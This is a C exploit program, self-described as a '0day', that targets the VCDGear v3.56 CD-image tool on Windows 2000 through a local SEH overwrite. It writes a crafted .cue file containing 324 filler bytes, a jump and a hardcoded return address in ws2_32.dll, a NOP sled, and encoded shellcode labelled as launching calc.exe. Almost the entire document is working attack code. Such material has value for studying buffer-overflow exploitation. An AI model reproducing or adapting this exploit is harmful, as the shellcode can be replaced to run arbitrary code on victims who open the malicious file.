/* ~~~~~~~~~~~~~~0day~~~~~~~~~~~~~~~~~~ Discovered by: C-W-M Auther: C-W-M ~ Www.MeftunNet.Com & Www.HackerSecurity.Org Location : Turkey... Attack Vector: SEH overwrite Type: Local Tested on Win2k SP4 (English) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Software: VCDGear v3.56 build 050213 Website: www.vcdgear.com Description: "VCDGear is a program designed to allow a user to extract MPEG streams from CD images, convert VCD files to MPEG, correct MPEG errors, and more -- all in a single step. Initially developed back in late 1997, the program has grown to do various extractions, conversions, and corrections on the fly. Cross-platform support will allow different machines to process and generate output that is compatible between one another. Total Buf Size: 2512 - [Junk - 324][SEH overwrite - 8][NOP Sled and Shellcode room for - 2180] Greetz: Ekobar, Poizonb0X, eno7, Doublekickx #pen15 */ #include #include // Exec Calc.exe Scode unsigned char scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a" "\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c" "\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57" "\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50" "\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d" "\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f" "\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a" "\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76" "\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65" "\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78" "\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f" "\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65" "\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d" "\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31" "\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69" "\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61" "\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70" "\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42"; int main(int argc, char *argv[]) { FILE *handle; if(argc < 2) { printf("0day VCDGear exploit\n"); printf("Usage: %s ", argv[0]); return 0; } if(!(handle = fopen(argv[1], "w"))) { printf("[+] Error"); return 0; } fputs("FILE \"", handle); for (int i=0;i<324;i++) \ fputs("A", handle); fputs("\xeb\x32\x90\x90", handle); fputs("\x3a\x1f\x03\x75", handle); //pop edi, pop esi, retn in ws2_32.dll (English / 5.0.2195.6601) for (i=0;i<200;i++) fputs("\x90", handle); fputs((char *)scode, handle); fputs("\" BINARY\n", handle); fputs(" TRACK 01 MODE2/2352\n", handle); fputs(" INDEX 01 00:00:00\n", handle); fclose(handle); printf("[+] File successfully created"); return 0; }